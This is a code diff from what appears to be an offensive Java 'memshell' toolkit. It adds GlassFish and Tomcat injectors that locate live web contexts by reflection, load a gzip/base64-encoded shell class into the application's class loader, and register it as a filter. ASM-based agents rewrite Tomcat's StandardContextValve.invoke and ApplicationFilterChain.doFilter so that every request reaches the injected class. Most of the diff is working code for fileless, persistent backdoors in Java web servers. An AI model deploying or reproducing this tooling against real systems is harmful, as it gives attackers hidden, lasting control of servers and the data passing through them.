inst.addTransformer(new TomcatContextValveAgentInjector(), true);
|
inst.addTransformer(new GlassFishContextValveAgentInjector(), true);
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
+3
-3
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
package com.reajason.javaweb.memshell.injector.glassfish;
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
@@ -13,7 +13,7 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/3/26
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
System.out.println("MemShell Agent is starting");
|
System.out.println("MemShell Agent is starting");
|
||||||
inst.addTransformer(new TomcatFilterChainAgentInjector(), true);
|
inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
+213
@@ -0,0 +1,213 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.glassfish;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Date: 2022/11/01
|
||||||
|
* Author: pen4uin
|
||||||
|
* Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275
|
||||||
|
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||||
|
*
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class GlassFishFilterInjector {
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public GlassFishFilterInjector() {
|
||||||
|
try {
|
||||||
|
List<Object> contexts = getContext();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
// skip glassfish /osgi context
|
||||||
|
if (getFieldValue(context, "serverContext") != null) {
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* com.sun.enterprise.web.WebModule
|
||||||
|
* /xxx/modules/web-glue.jar
|
||||||
|
*/
|
||||||
|
public List<Object> getContext() throws Exception {
|
||||||
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||||
|
try {
|
||||||
|
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void inject(Object context, Object shell) throws Exception {
|
||||||
|
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||||
|
System.out.println("filter already injected");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Object filterDef;
|
||||||
|
Object filterMap;
|
||||||
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
|
try {
|
||||||
|
// tomcat v8+
|
||||||
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
|
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
||||||
|
} catch (Exception e2) {
|
||||||
|
// tomcat v5+
|
||||||
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
|
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
try {
|
||||||
|
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
} catch (Exception e) {
|
||||||
|
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{shell.getClass()});
|
||||||
|
}
|
||||||
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
Constructor<?>[] constructors;
|
||||||
|
try {
|
||||||
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
} catch (Exception e) {
|
||||||
|
// tomcat v5
|
||||||
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
// v7.0.0 以上
|
||||||
|
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
|
} catch (Exception e) {
|
||||||
|
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
|
}
|
||||||
|
|
||||||
|
Constructor filterConfigConstructor;
|
||||||
|
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
|
filterConfigConstructor.setAccessible(true);
|
||||||
|
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
|
||||||
|
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||||
|
filterConfigs.put(getClassName(), filterConfig);
|
||||||
|
System.out.println("filter inject success");
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException();
|
||||||
|
}
|
||||||
|
}
|
||||||
-4
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class GlassFishValveInjector {
|
public class GlassFishValveInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new GlassFishValveInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public GlassFishValveInjector() {
|
public GlassFishValveInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
-4
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
public class InforSuiteFilterInjector {
|
public class InforSuiteFilterInjector {
|
||||||
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
|
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
|
||||||
|
|
||||||
static {
|
|
||||||
new InforSuiteFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public InforSuiteFilterInjector() {
|
public InforSuiteFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
+7
-4
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
|
|
||||||
public class JettyFilterInjector {
|
public class JettyFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new JettyFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public JettyFilterInjector() {
|
public JettyFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
@@ -122,6 +118,13 @@ public class JettyFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* org.mortbay.jetty.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee8.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee9.webapp.WebAppContext
|
||||||
|
* org.eclipse.jetty.ee10.webapp.WebAppContext
|
||||||
|
*/
|
||||||
private List<Object> getContext() throws Exception {
|
private List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
+3
-5
@@ -23,7 +23,6 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
|||||||
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
|
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
|
||||||
"org/mortbay/jetty/servlet/ServletHandler"
|
"org/mortbay/jetty/servlet/ServletHandler"
|
||||||
);
|
);
|
||||||
private static String targetClassName = "";
|
|
||||||
private static String targetMethodName = "doHandle";
|
private static String targetMethodName = "doHandle";
|
||||||
|
|
||||||
public static String getClassName() {
|
public static String getClassName() {
|
||||||
@@ -49,15 +48,14 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
|||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
for (String targetClass : TARGET_CLASSES) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
if (targetClass.replace("/", ".").equals(name)) {
|
if (targetClass.replace("/", ".").equals(name)) {
|
||||||
targetClassName = name;
|
if (name.contains("mortbay")) {
|
||||||
if (targetClassName.contains("mortbay")) {
|
|
||||||
targetMethodName = "handle";
|
targetMethodName = "handle";
|
||||||
}
|
}
|
||||||
if (targetClassName.contains("ee10")) {
|
if (name.contains("ee10")) {
|
||||||
targetMethodName = "doFilter";
|
targetMethodName = "doFilter";
|
||||||
}
|
}
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
System.out.println("MemShell Agent is working at " + targetClassName + "." + targetMethodName);
|
System.out.println("MemShell Agent is working at " + name + "." + targetMethodName);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
-4
@@ -20,10 +20,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class JettyListenerInjector {
|
public class JettyListenerInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new JettyListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public JettyListenerInjector() {
|
public JettyListenerInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
-4
@@ -15,10 +15,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class JettyServletInjector {
|
public class JettyServletInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new JettyServletInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public JettyServletInjector() {
|
public JettyServletInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
-4
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ResinFilterInjector {
|
public class ResinFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new ResinFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ResinFilterInjector() {
|
public ResinFilterInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
-3
@@ -15,9 +15,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class ResinListenerInjector {
|
public class ResinListenerInjector {
|
||||||
static {
|
|
||||||
new ResinListenerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ResinListenerInjector() {
|
public ResinListenerInjector() {
|
||||||
try {
|
try {
|
||||||
-4
@@ -14,10 +14,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ResinServletInjector {
|
public class ResinServletInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new ResinServletInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public ResinServletInjector() {
|
public ResinServletInjector() {
|
||||||
try {
|
try {
|
||||||
List<Object> contexts = getContext();
|
List<Object> contexts = getContext();
|
||||||
-4
@@ -19,10 +19,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebFluxHandlerFunctionInjector {
|
public class SpringWebFluxHandlerFunctionInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebFluxHandlerFunctionInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
-4
@@ -22,10 +22,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebFluxHandlerMethodInjector {
|
public class SpringWebFluxHandlerMethodInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebFluxHandlerMethodInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
-4
@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
|
public class SpringWebFluxNettyHandlerInjector implements ChannelPipelineConfigurer {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebFluxNettyHandlerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
-4
@@ -21,10 +21,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebFluxWebFilterInjector {
|
public class SpringWebFluxWebFilterInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebFluxWebFilterInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
-4
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebMvcControllerHandlerInjector {
|
public class SpringWebMvcControllerHandlerInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebMvcControllerHandlerInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
-3
@@ -2,12 +2,9 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
|
|||||||
|
|
||||||
import org.objectweb.asm.*;
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
import java.util.zip.GZIPInputStream;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
-4
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebMvcInterceptorInjector {
|
public class SpringWebMvcInterceptorInjector {
|
||||||
|
|
||||||
static {
|
|
||||||
new SpringWebMvcInterceptorInjector();
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
+157
@@ -0,0 +1,157 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||||
|
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/26
|
||||||
|
*/
|
||||||
|
public class TomcatContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
||||||
|
private static final String TARGET_METHOD_NAME = "invoke";
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
inst.addTransformer(new TomcatContextValveAgentInjector(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||||
|
try {
|
||||||
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
this.className = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+157
@@ -0,0 +1,157 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||||
|
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/26
|
||||||
|
*/
|
||||||
|
public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||||
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
